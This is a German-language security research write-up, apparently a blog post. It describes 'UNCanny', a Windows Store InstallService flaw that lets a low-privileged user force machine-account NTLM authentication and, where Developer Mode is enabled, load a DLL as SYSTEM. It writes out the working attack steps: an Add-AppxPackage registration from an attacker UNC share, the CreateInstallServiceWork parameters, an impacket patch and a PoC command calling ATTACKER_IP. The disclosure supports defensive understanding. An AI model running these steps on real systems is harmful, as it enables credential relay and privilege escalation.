
Eine weitere neue Coercion-Primitive mit LPE - NTLM-Coercion des Maschinenkontos von einem Nicht-Administrator-Benutzer über Experimente zur Plugin-Auflösung des Windows Store InstallService
Die Idee hinter dieser Forschung war einfach: Ich wollte eine eigene Coercion-Technik finden. Ich begann, nach neuen RPC-Angriffsflächen zu suchen, aber nachdem Microsoft RPC-Aktivitätsüberwachung hinzugefügt hatte (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), entschied ich mich für einen anderen Weg.
UNCanny ist das Ergebnis dieses Kaninchenbaus. Es ist nichts, was ich wegen seiner Einschränkung als zuverlässig für echte Red-Team-Operationen betrachten würde, aber ich denke trotzdem, dass sich die Notizen für alle lohnen, die in demselben Bereich graben.
Kurz gesagt ist dieses Primitive:
Ein normaler Benutzer übergibt dem Windows Store-Installationsdienst Installationsmetadaten -> der Dienst, der als lokales System läuft, löst ein „Plugin“ für diesen Auftrag auf -> der Resolver führt letztlich
LoadLibraryWauf einem vom Benutzer beeinflussten Pfad aus -> dieser Pfad ist eine UNC -> ausgehendes NTLM als Maschinenkonto.
Die betroffene Komponente gehört zur Welt des Windows Store-Installationsdienstes: InstallService.dll, gehostet in InstallService.exe, ausgeführt als NT AUTHORITY\SYSTEM.
Der Kaninchenbau begann mit InstallService.dll. Ich habe mir Windows-Komponenten angesehen, die Pakete installieren, Zustand nach Neustarts wiederherstellen, fehlgeschlagene Aufträge fortsetzen, lokale/entfernte Inhalte lesen und Plugins laden. Alles, was diese vier Dinge zusammen hat, hat normalerweise irgendwo eine Grenzverwirrung:
Die interessante Laufzeitklasse war:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

In diesem Parameter propertiesJson steckt der eigentliche Spaß. Das Installationsverhalten wird durch JSON-Felder wie FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId beschrieben.
Zuerst dachte ich, der Bug würde darin bestehen, „eine UNC in SourceUri zu legen und den Dienst sie lesen zu lassen“. Das wäre wunderschön gewesen, aber Windows war nicht so großzügig. Ich habe den eingebauten Fulfillment-Pfad (CreateInstallServiceWorkFromBridge, InstallService.dll) reversiert, und die eingebauten Plugins machen genau das nicht:
WU parst das JSON und geht über WinHTTP / Delivery Optimization raus. Nie über SMB.ChainedWork und XVC sind entweder dieselbe Geschichte oder auf einem Client nicht einmal vorhanden.SourceUri wird entweder schnell abgelehnt oder in die Katalogvalidierung geleitet. CreateCatalogItemFromLocalData erstellt trotz seines Namens ein Katalogelement aus dem im Speicher serialisierten JSON; es öffnet keine Datei.Die naive Idee ist also eine Sackgasse. Diese Funktion ist sehr interessant, und ich setze auch andere Research-Primitive darauf an – das sollte ich deutlich sagen, damit niemand eine Woche damit verschwendet :)
Der einzige Punkt im gesamten Erstellungs-/Wiederherstellungsablauf, an dem der Dienst einen vom Angreifer beeinflussten Pfad berührt, ist die Plugin-Aktivierung. Die Funktion ist PluginHelpers::ActivatePlugin. Sie löst FulfillmentPluginId in dieser Reihenfolge auf:
"WU" -> eingebaut"ChainedWork" -> eingebautStaticPluginMap (HKLM) gefunden -> CoCreateInstance einer CLSID, oder eine WinRT-Klasse aktivieren"XVC" -> Xbox-FactoryFindPackagesForUser(pfn) -> InstalledLocation.Path dieses Pakets nehmen -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")Zweig 5 ist der relevante, und PluginHelpers::IsPluginAvailable bestätigt das Gate: Sie gibt für jede FulfillmentPluginId, die zu einem installierten Paket passt, true zurück – über genau denselben FindPackagesForUser-Lookup.

Wenn also eine FulfillmentPluginId auf ein Paket zeigt, dessen InstalledLocation eine UNC ist, führt der als SYSTEM laufende InstallService.exe Folgendes aus:
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )
LoadLibraryW muss sich mit \\attacker\share verbinden und authentifizieren, bevor festgestellt werden kann, dass die DLL nicht da ist – und genau diese Authentifizierung ist die Coercion; die DLL muss nie existieren.

Die einzige verbleibende Frage ist: Wie bekommt ein normaler Benutzer ein Paket, dessen InstalledLocation eine UNC ist? Die Antwort ist die Loose-File-Registrierung, ein pro Benutzer durchgeführter, nicht elevierter Vorgang:
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
Windows registriert das Paket „an Ort und Stelle“, sodass die registrierte InstalledLocation buchstäblich die UNC ist, auf die du gezeigt hast. Dann löst du den Auftrag mit dem Familiennamen dieses Pakets als Plugin-ID aus.
Add-AppxPackage -Register \\attacker\share\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <that package's PFN> )Der Aufrufer ist ein normaler Benutzer, die Netzwerkauthentifizierung erfolgt über das Maschinenkonto.

Ein Benutzer mit niedrigen Rechten hat es ausgelöst, das Maschinenkonto hat authentifiziert. Windows' eigener Loader hat die UNC berührt, nicht der Aufrufer.

Zwei Dinge müssen vor dem Ausführen geklärt werden:
impacket-smbserver meldet den Dateisystemtyp XTFS. AppX weigert sich, auf Nicht-NTFS-Freigaben zu registrieren (0x80073CFD). Patche das Feld FileSystemName in impacket/smbserver.py auf NTFS.
Die Freigabe benötigt AppxManifest.xml, logo.png, dummy.exe. InstallServicePlugin.dll wird nicht benötigt. MaxVersionTested im Manifest muss ≤ Ziel-Build sein (winver auf dem Ziel, um das zu prüfen).
Du kannst poc/setup.sh aus dem Repo-Root unter Kali ausführen. Es befüllt die Freigabe, patcht impacket, legt poc.ps1 per smbclient auf dem Ziel ab, wenn TARGET_IP und TARGET_CREDS gesetzt sind, und startet den Server ;-)
Führe dann auf deiner Windows-Workstation als Benutzer mit niedrigen Rechten in einer interaktiven Sitzung Folgendes aus:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
Es gibt eine zweite Seite desselben Bugs, die direkter ist als die Coercion. Wenn InstallServicePlugin.dll tatsächlich auf dem UNC-Paketpfad existiert, erreicht der Dienst weiterhin denselben Zweig LoadLibraryW(\\attacker\share\InstallServicePlugin.dll), aber diesmal gelingt das Laden, und die DLL wird als NT AUTHORITY\SYSTEM in den Store-Installationsdienst-Prozess gemappt.
Ich war also Feuer und Flamme, einen Nachweis für dieses Problem zu erstellen, und habe den PoC in lpe/ geschrieben. Das Wichtige ist nicht ein weiterer Trick bei der Paketregistrierung, sondern dass dasselbe registrierte Loose-Paket als Plugin-Paket wiederverwendet wird. Das Harness fragt den Paketfamiliennamen des Benutzers mit niedrigen Rechten per Get-AppxPackage ab, übergibt diese PFN als FulfillmentPluginId, setzt SkipCatalogLookup=true und fügt SerializedFulfillmentData hinzu. Dieses letzte Feld ist wichtig, weil InstallQueue2::CreateWork die Anfrage mit 0x80070057 ablehnt, wenn der Katalog-Lookup ohne Fulfillment-Daten übersprungen wird.
Es ist sehr wichtig, etwas zu erwähnen, das beim Troubleshooting viel Zeit gekostet hat: impacket kann kein ladbares Image ausliefern. Es beantwortet die Leseanforderungen gut genug, damit sich das Maschinenkonto authentifizieren kann – die Coercion ist also bestens bedient –, aber LoadLibraryW gegen eine impacket-Freigabe liefert null mit ERROR_INVALID_HANDLE zurück, und DllMain wird nie ausgeführt. Serviere exakt dieselben Dateien mit einem echten SMB-Server (Samba), und das Laden gelingt. Samba meldet standardmäßig NTFS, sodass die Loose-Registrierung weiterhin durchgeht. Die Regel ist also einfach: impacket, wenn du nur den Hash willst; Samba, wenn du willst, dass die DLL tatsächlich als SYSTEM ausgeführt wird!
Bei einem echten Lauf, ausgelöst durch den Benutzer mit niedrigen Rechten, zeigt uncanny_lpe.txt die in svchost.exe gemappte DLL und das Token, das sich als NT AUTHORITY\SYSTEM / S-1-5-18 auflöst – das ist der Screenshot unten.

CreateInstallServiceWork gibt mit dieser Demo-DLL weiterhin 0x800706BE zurück, weil DllMain bereits ausgeführt wurde, bevor der Dienst nach dem echten Plugin-Interface fragt und aufgibt :-)

Die Einschränkung ist eigentlich der Grund, warum ich mich entschieden habe, diese Technik zu veröffentlichen - der Entwicklermodus muss aktiviert sein, um sie durchzuführen. Das Ganze hängt davon ab, dass InstalledLocation.Path ein UNC-Pfad ist, und nachdem ich viel Zeit damit verbracht habe, das zu durchforsten, habe ich nur einen Weg gefunden, das zu erreichen. Eine normale signierte Installation kopiert das Paket nach C:\Program Files\WindowsApps\..., setzt InstalledLocation dorthin, und das ist immer ein lokaler Pfad.
Der einzige Registrierungspfad, den ich gefunden habe und der die Dateien dort belässt, wo sie bereits sind – auch auf einer UNC-Freigabe – ist die Loose-File-Registrierung (Add-AppxPackage -Register <manifest>). Genau das schaltet der Entwicklermodus (AllowDevelopmentWithoutDevLicense unter HKLM\...\AppModelUnlock) frei. Und der Grund für die Absicherung ist nachvollziehbar. Loose-Registrierung erzeugt im Grunde eine vertrauenswürdige Paketidentität aus beliebigen unsignierten Dateien, die an einem von dir kontrollierten Ort liegen, und umgeht damit das normale Store- und Signierungs-Vertrauensmodell vollständig. Deshalb muss der Entwicklermodus aktiviert sein, und das ist derzeit die größte Einschränkung der Technik.
Das Interessante ist, dass die InstallService-Seite sich nicht wirklich darum kümmert: Sobald ein solches Paket existiert, ruft Zweig 5 von ActivatePlugin bereitwillig LoadLibraryW mit jeder InstalledLocation.Path auf, die er bekommt. Das gesamte Problem besteht darin, überhaupt erst ein Paket zu bekommen, dessen Installationspfad auf eine UNC zeigt, ohne Entwicklermodus zu benötigen.
Also fing ich an, die Leitplanken zu reversieren, um einen anderen Weg hinein zu finden.
Der Entwicklermodus-Check liegt überhaupt nicht in InstallService. Er steckt im AppX-Bereitstellungsstapel (AppXDeploymentServer.dll und der Bereitstellungs-Lizenzrichtlinie) und liest letztlich HKLM\...\AppModelUnlock, das vom Administrator kontrolliert wird. Ein normaler Benutzer kann dort nichts umstellen.
Ich bin auch dem scheinbar offensichtlichen Bypass nachgegangen, etwa Sideloading.
Ich habe es mit aktiviertem Sideloading und deaktiviertem Entwicklermodus getestet (IsSideloadingEnabled=1, IsDeveloperModeEnabled=0). Die Loose-Registrierung schlug sofort fehl und meldete, dass die Paketherkunft Unsigned sei und keine gültige Lizenz oder Sideloading-Richtlinie angewendet werden könne.
Es gibt noch ein paar Wege, die ich noch nicht vollständig ausgeschlossen habe; du kannst dort gerne weiter graben:
StaticPluginMap in Kombination mit einem COM-Suchreihenfolgen-Hijack-ExternalLocation und externe PaketinhalteHKCU\...\CLSIDElastic wird das wahrscheinlich innerhalb eines Tages abdecken.
- Ich bin nicht dafür verantwortlich, wie diese Informationen verwendet werden. Diese Forschung wird letzten Endes zu Bildungszwecken veröffentlicht und kann außerdem helfen, das Verständnis der Angriffsfläche zu verbessern.